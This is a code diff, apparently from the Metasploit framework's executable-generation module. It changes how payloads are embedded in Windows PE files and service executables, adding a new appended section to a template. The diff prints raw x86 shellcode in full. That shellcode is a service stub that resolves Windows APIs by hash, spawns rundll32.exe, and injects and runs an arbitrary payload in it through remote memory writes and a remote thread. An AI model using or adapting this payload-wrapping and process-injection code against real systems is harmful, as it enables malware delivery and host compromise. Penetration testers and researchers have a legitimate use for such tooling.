@@ -525,9 +525,6 @@ def self.to_win64pe(framework, code, opts = {})
525
525
return injector . generate_pe
526
526
end
527
527
528
- #opts[:exe_type] = :exe_sub
529
- #return exe_sub_method(code,opts)
530
-
531
528
# Append a new section instead
532
529
appender = Msf ::Exe ::SegmentAppender . new ( {
533
530
:payload => code ,
@@ -549,9 +546,9 @@ def self.to_win64pe(framework, code, opts = {})
549
546
#
550
547
# @return [String] Windows Service PE file
551
548
def self . to_win32pe_service ( framework , code , opts = { } )
549
+ set_template_default ( opts , "template_x86_windows_svc.exe" )
552
550
if opts [ :sub_method ]
553
551
# Allow the user to specify their own service EXE template
554
- set_template_default ( opts , "template_x86_windows_svc.exe" )
555
552
opts [ :exe_type ] = :service_exe
556
553
return exe_sub_method ( code , opts )
557
554
else
@@ -591,26 +588,31 @@ def self.to_win32pe_service(framework, code, opts = {})
591
588
"\x5B \x5B \x61 \x59 \x5A \x51 \xFF \xE0 \x58 \x5F \x5A \x8B \x12 \xEB \x86 \x5D " +
592
589
"\x6A \x00 \x68 \x70 \x69 \x33 \x32 \x68 \x61 \x64 \x76 \x61 \x54 \x68 \x4C \x77 " +
593
590
"\x26 \x07 \xFF \xD5 #{ pushed_service_name } \x89 \xE1 " +
594
- "\x8D \x85 #{ [ svcmain_code_offset ] . pack ( '<I ' ) } \x6A \x00 \x50 \x51 \x89 \xE0 \x6A \x00 \x50 \x68 " +
591
+ "\x8D \x85 #{ [ svcmain_code_offset ] . pack ( 'I< ' ) } \x6A \x00 \x50 \x51 \x89 \xE0 \x6A \x00 \x50 \x68 " +
595
592
"\xFA \xF7 \x72 \xCB \xFF \xD5 \x6A \x00 \x68 \xF0 \xB5 \xA2 \x56 \xFF \xD5 \x58 " +
596
593
"\x58 \x58 \x58 \x31 \xC0 \xC3 \xFC \xE8 \x00 \x00 \x00 \x00 \x5D \x81 \xED " +
597
- "#{ [ hash_code_offset ] . pack ( '<I ' ) + pushed_service_name } \x89 \xE1 \x8D " +
598
- "\x85 #{ [ svcctrlhandler_code_offset ] . pack ( '<I ' ) } \x6A \x00 \x50 \x51 \x68 \x0B \xAA \x44 \x52 \xFF \xD5 " +
594
+ "#{ [ hash_code_offset ] . pack ( 'I< ' ) + pushed_service_name } \x89 \xE1 \x8D " +
595
+ "\x85 #{ [ svcctrlhandler_code_offset ] . pack ( 'I< ' ) } \x6A \x00 \x50 \x51 \x68 \x0B \xAA \x44 \x52 \xFF \xD5 " +
599
596
"\x6A \x00 \x6A \x00 \x6A \x00 \x6A \x00 \x6A \x00 \x6A \x00 \x6A \x04 \x6A \x10 " +
600
597
"\x89 \xE1 \x6A \x00 \x51 \x50 \x68 \xC6 \x55 \x37 \x7D \xFF \xD5 \x31 \xFF \x6A " +
601
598
"\x04 \x68 \x00 \x10 \x00 \x00 \x6A \x54 \x57 \x68 \x58 \xA4 \x53 \xE5 \xFF \xD5 " +
602
599
"\xC7 \x00 \x44 \x00 \x00 \x00 \x8D \x70 \x44 \x57 \x68 \x2E \x65 \x78 \x65 \x68 " +
603
600
"\x6C \x6C \x33 \x32 \x68 \x72 \x75 \x6E \x64 \x89 \xE1 \x56 \x50 \x57 \x57 \x6A " +
604
601
"\x44 \x57 \x57 \x57 \x51 \x57 \x68 \x79 \xCC \x3F \x86 \xFF \xD5 \x8B \x0E \x6A " +
605
- "\x40 \x68 \x00 \x10 \x00 \x00 \x68 #{ [ code . length ] . pack ( '<I ' ) } \x57 \x51 \x68 \xAE \x87 " +
602
+ "\x40 \x68 \x00 \x10 \x00 \x00 \x68 #{ [ code . length ] . pack ( 'I< ' ) } \x57 \x51 \x68 \xAE \x87 " +
606
603
"\x92 \x3F \xFF \xD5 \xE8 \x00 \x00 \x00 \x00 \x5A \x89 \xC7 \x8B \x0E \x81 \xC2 " +
607
- "#{ [ shellcode_code_offset ] . pack ( '<I ' ) } \x54 \x68 #{ [ code . length ] . pack ( '<I ' ) } " +
604
+ "#{ [ shellcode_code_offset ] . pack ( 'I< ' ) } \x54 \x68 #{ [ code . length ] . pack ( 'I< ' ) } " +
608
605
"\x52 \x50 \x51 \x68 \xC5 \xD8 \xBD \xE7 \xFF " +
609
606
"\xD5 \x31 \xC0 \x8B \x0E \x50 \x50 \x50 \x57 \x50 \x50 \x51 \x68 \xC6 \xAC \x9A " +
610
607
"\x79 \xFF \xD5 \x8B \x0E \x51 \x68 \xC6 \x96 \x87 \x52 \xFF \xD5 \x8B \x4E \x04 " +
611
608
"\x51 \x68 \xC6 \x96 \x87 \x52 \xFF \xD5 #{ code_service_stopped } "
612
609
613
- to_winpe_only ( framework , code_service + code , opts )
610
+ # Append a new section to the template
611
+ Msf ::Exe ::SegmentAppender . new ( {
612
+ :payload => code_service + code ,
613
+ :template => opts [ :template ] ,
614
+ :arch => :x86
615
+ } ) . generate_pe
614
616
end
615
617
end
616
618
0 commit comments